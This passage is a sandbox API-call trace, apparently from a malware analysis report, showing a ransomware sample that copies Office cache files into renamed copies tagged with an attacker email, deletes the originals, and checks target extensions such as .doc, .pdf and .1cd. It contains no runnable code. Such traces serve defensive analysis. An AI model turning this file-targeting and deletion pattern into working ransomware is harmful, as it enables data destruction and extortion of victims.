nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0043.505] SetEndOfFile (hFile=0x178) returned 1 [0043.505] CloseHandle (hObject=0x178) returned 1 [0043.505] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.506] SetEndOfFile (hFile=0x174) returned 1 [0043.506] CloseHandle (hObject=0x174) returned 1 [0043.506] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0043.507] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0043.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.507] lstrlenW (lpString=".doc") returned 4 [0043.507] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.507] lstrlenW (lpString=".docx") returned 5 [0043.507] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0043.507] lstrlenW (lpString=".pdf") returned 4 [0043.507] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.507] lstrlenW (lpString=".xls") returned 4 [0043.507] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.507] lstrlenW (lpString=".xlsx") returned 5 [0043.507] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0043.507] lstrlenW (lpString=".ppt") returned 4 [0043.507] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.507] lstrlenW (lpString=".zip") returned 4 [0043.507] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.507] lstrlenW (lpString=".rar") returned 4 [0043.507] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.507] lstrlenW (lpString=".bz2") returned 4 [0043.507] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.507] lstrlenW (lpString=".7z") returned 3 [0043.507] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.507] lstrlenW (lpString=".dbf") returned 4 [0043.507] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.507] lstrlenW (lpString=".1cd") returned 4 [0043.508] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.508] lstrlenW (lpString=".jpg") returned 4 [0043.508] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.508] lstrlenW (lpString=".doc") returned 4 [0043.508] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.508] lstrlenW (lpString=".docx") returned 5 [0043.508] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0043.508] lstrlenW (lpString=".pdf") returned 4 [0043.508] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.508] lstrlenW (lpString=".xls") returned 4 [0043.508] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.508] lstrlenW (lpString=".xlsx") returned 5 [0043.508] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0043.508] lstrlenW (lpString=".ppt") returned 4 [0043.508] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.508] lstrlenW (lpString=".zip") returned 4 [0043.508] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.508] lstrlenW (lpString=".rar") returned 4 [0043.508] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.508] lstrlenW (lpString=".bz2") returned 4 [0043.508] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.508] lstrlenW (lpString=".7z") returned 3 [0043.508] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.508] lstrlenW (lpString=".dbf") returned 4 [0043.508] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.508] lstrlenW (lpString=".1cd") returned 4 [0043.508] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.508] lstrlenW (lpString=".jpg") returned 4 [0043.508] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.509] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0043.509] lstrlenW (lpString="OutlookMUI.xml") returned 14 [0043.509] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0043.510] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=3186) returned 1 [0043.510] CloseHandle (hObject=0x174) returned 1 [0043.510] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 0x2020 [0043.510] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.510] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0043.510] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.510] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.510] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0043.510] GetLastError () returned 0x0 [0043.510] ReadFile (in: hFile=0x174, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0xc72, lpOverlapped=0x0) returned 1 [0043.512] WriteFile (in: hFile=0x178, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xc80, lpOverlapped=0x0) returned 1 [0043.513] ReadFile (in: hFile=0x174, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.513] WriteFile (in: hFile=0x178, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0043.513] SetEndOfFile (hFile=0x178) returned 1 [0043.513] CloseHandle (hObject=0x178) returned 1 [0043.514] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.514] SetEndOfFile (hFile=0x174) returned 1 [0043.514] CloseHandle (hObject=0x174) returned 1 [0043.514] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0043.515] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 1 [0043.515] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0043.515] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0043.515] lstrlenW (lpString=".doc") returned 4 [0043.515] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.515] lstrlenW (lpString=".docx") returned 5 [0043.515] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0043.515] lstrlenW (lpString=".pdf") returned 4 [0043.515] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.515] lstrlenW (lpString=".xls") returned 4 [0043.515] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.515] lstrlenW (lpString=".xlsx") returned 5 [0043.515] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0043.515] lstrlenW (lpString=".ppt") returned 4 [0043.515] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.515] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0043.515] lstrlenW (lpString=".zip") returned 4 [0043.515] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.515] lstrlenW (lpString=".rar") returned 4 [0043.515] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.515] lstrlenW (lpString=".bz2") returned 4 [0043.515] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.515] lstrlenW (lpString=".7z") returned 3 [0043.515] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.515] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0043.516] lstrlenW (lpString=".dbf") returned 4 [0043.516] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.516] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0043.516] lstrlenW (lpString=".1cd") returned 4 [0043.516] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.516] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0043.516] lstrlenW (lpString=".jpg") returned 4 [0043.516] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.516] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0043.516] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0043.516] lstrlenW (lpString=".doc") returned 4 [0043.516] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.516] lstrlenW (lpString=".docx") returned 5 [0043.516] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0043.516] lstrlenW (lpString=".pdf") returned 4 [0043.516] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.516] lstrlenW (lpString=".xls") returned 4 [0043.516] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.516] lstrlenW (lpString=".xlsx") returned 5 [0043.516] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0043.516] lstrlenW (lpString=".ppt") returned 4 [0043.516] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.516] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0043.516] lstrlenW (lpString=".zip") returned 4 [0043.516] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.516] lstrlenW (lpString=".rar") returned 4 [0043.516] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.516] lstrlenW (lpString=".bz2") returned 4 [0043.516] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.516] lstrlenW (lpString=".7z") returned 3 [0043.516] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.516] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0043.516] lstrlenW (lpString=".dbf") returned 4 [0043.516] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.516] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0043.517] lstrlenW (lpString=".1cd") returned 4 [0043.517] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0043.517] lstrlenW (lpString=".jpg") returned 4 [0043.517] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.517] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0043.517] lstrlenW (lpString="Setup.xml") returned 9 [0043.517] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0043.517] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=4207) returned 1 [0043.517] CloseHandle (hObject=0x174) returned 1 [0043.517] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0043.517] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.517] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0043.517] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.517] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.517] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0043.518] GetLastError () returned 0x0 [0043.518] ReadFile (in: hFile=0x174, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x106f, lpOverlapped=0x0) returned 1 [0043.832] WriteFile (in: hFile=0x178, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x1070, lpOverlapped=0x0) returned 1 [0043.833] ReadFile (in: hFile=0x174, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.833] WriteFile (in: hFile=0x178, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0043.833] SetEndOfFile (hFile=0x178) returned 1 [0043.833] CloseHandle (hObject=0x178) returned 1 [0043.834] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.834] SetEndOfFile (hFile=0x174) returned 1 [0043.835] CloseHandle (hObject=0x174) returned 1 [0043.835] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0043.835] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0043.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.835] lstrlenW (lpString=".doc") returned 4 [0043.835] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.835] lstrlenW (lpString=".docx") returned 5 [0043.835] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0043.836] lstrlenW (lpString=".pdf") returned 4 [0043.836] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.836] lstrlenW (lpString=".xls") returned 4 [0043.836] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.836] lstrlenW (lpString=".xlsx") returned 5 [0043.836] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0043.836] lstrlenW (lpString=".ppt") returned 4 [0043.836] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.836] lstrlenW (lpString=".zip") returned 4 [0043.836] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.836] lstrlenW (lpString=".rar") returned 4 [0043.836] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.836] lstrlenW (lpString=".bz2") returned 4 [0043.836] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.836] lstrlenW (lpString=".7z") returned 3 [0043.836] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.836] lstrlenW (lpString=".dbf") returned 4 [0043.836] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.836] lstrlenW (lpString=".1cd") returned 4 [0043.836] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.836] lstrlenW (lpString=".jpg") returned 4 [0043.836] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.836] lstrlenW (lpString=".doc") returned 4 [0043.836] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.836] lstrlenW (lpString=".docx") returned 5 [0043.836] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0043.836] lstrlenW (lpString=".pdf") returned 4 [0043.836] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.836] lstrlenW (lpString=".xls") returned 4 [0043.837] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.837] lstrlenW (lpString=".xlsx") returned 5 [0043.837] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0043.837] lstrlenW (lpString=".ppt") returned 4 [0043.837] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.837] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.837] lstrlenW (lpString=".zip") returned 4 [0043.837] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.837] lstrlenW (lpString=".rar") returned 4 [0043.837] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.837] lstrlenW (lpString=".bz2") returned 4 [0043.837] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.837] lstrlenW (lpString=".7z") returned 3 [0043.837] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.837] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.837] lstrlenW (lpString=".dbf") returned 4 [0043.837] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.837] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.837] lstrlenW (lpString=".1cd") returned 4 [0043.837] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.837] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.837] lstrlenW (lpString=".jpg") returned 4 [0043.837] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.838] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0043.838] lstrlenW (lpString="WordMUI.xml") returned 11 [0043.838] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0044.662] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=1800) returned 1 [0044.667] CloseHandle (hObject=0x198) returned 1 [0044.668] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 0x2020 [0044.671] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0044.675] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0044.681] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.682] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.685] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0044.697] GetLastError () returned 0x0 [0044.697] ReadFile (in: hFile=0x184, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x708, lpOverlapped=0x0) returned 1 [0044.715] WriteFile (in: hFile=0x198, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x710, lpOverlapped=0x0) returned 1 [0044.715] ReadFile (in: hFile=0x184, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, 